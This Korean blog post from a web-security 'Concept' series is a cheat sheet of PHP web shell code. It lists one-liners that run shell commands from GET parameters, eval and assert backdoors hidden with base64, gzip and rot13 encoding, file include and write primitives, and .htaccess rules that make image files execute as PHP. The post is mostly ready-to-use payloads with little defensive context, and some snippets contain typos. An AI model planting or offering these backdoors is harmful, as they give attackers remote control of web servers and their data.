티스토리 뷰
주로 웹쉘을 작성할 때 여러가지 방법으로 사용된다.
시스템 명령어를 실행하는 함수.
system($_GET['cmd']);
passthru($_GET['cmd']);
echo shell_exec($_GET['cmd']); ← 얘는 실습에서 실패했다.
$arr = Array();
exec($_GET['cmd'], $arr);
print_r($arr);
$handle = popen($_GET['cmd'], 'r');
$read = fread($handle, 20960;
echo $read;
pclose($handle);
$des = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'));
$proc = @proc_open($_GET['cmd'], $des, $pipes);
pclose($pipes[0]);
$ouput = Array();
while(!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1], 1024), "\n"));
print_r($output)
코드 실행 및 암호화
eval($_POST['cmd']);
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
→ $_POST['cmd'] 를 그대로 인코딩한 것.
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
eval(gzdecode(base64_decode('H4sIPAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));
eval(str_rot13('riny($_CBFG[pzq]);'));
assert($_POST['cmd']);
call_user_func('assert', $_POST['cmd']);
call_user_func($_GET['a'], $_REQUEST['cmd']);
or
$_GET['a']($_REQUEST['cmd']);
파일생성을 포함하는 함수
require($_GET['filename']);
require_once($_GET['filename']);
include($_GET['filename']);
include_once($_GET['filename']);
echo file_get_contents($_GET['filename']);
file_put_contents($_GET['filename'], $_GET['context']);
fputs(fopen($_GET['filename'], 'w'), $_GET['context']);
.htaccess 파일 수정
SetHandler
<FilesMatch "x.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
→ x.jpg에 PHP 코드를 삽입하고 PHP코드를 실행시키기 위한 내용
auto_prepend_file
php_value auto_prepend_file c:\apache2\htdocs\123.gif
→ 모든 php 파일에 123.gif에 있는 코드를 삽입한다. (반드시 절대경로로 작성)
auto_append_file
php_value auto_append_file c:\apache2\htdocs\123.gic
'Web > Concept' 카테고리의 다른 글
[Concept] PHP의 비교구문의 허점 (0) | 2019.07.19 |
---|---|
[Concept] PHP의 이스케이프 처리함수 목록 (0) | 2019.07.18 |
[취약점 점검 실습] 파일업로드 취약점 실습(1) (0) | 2019.07.17 |
[Concept] PHP Magic Hash 취약점 (0) | 2019.07.15 |
[Concept] PHP strcmp 취약점 우회 (0) | 2019.07.15 |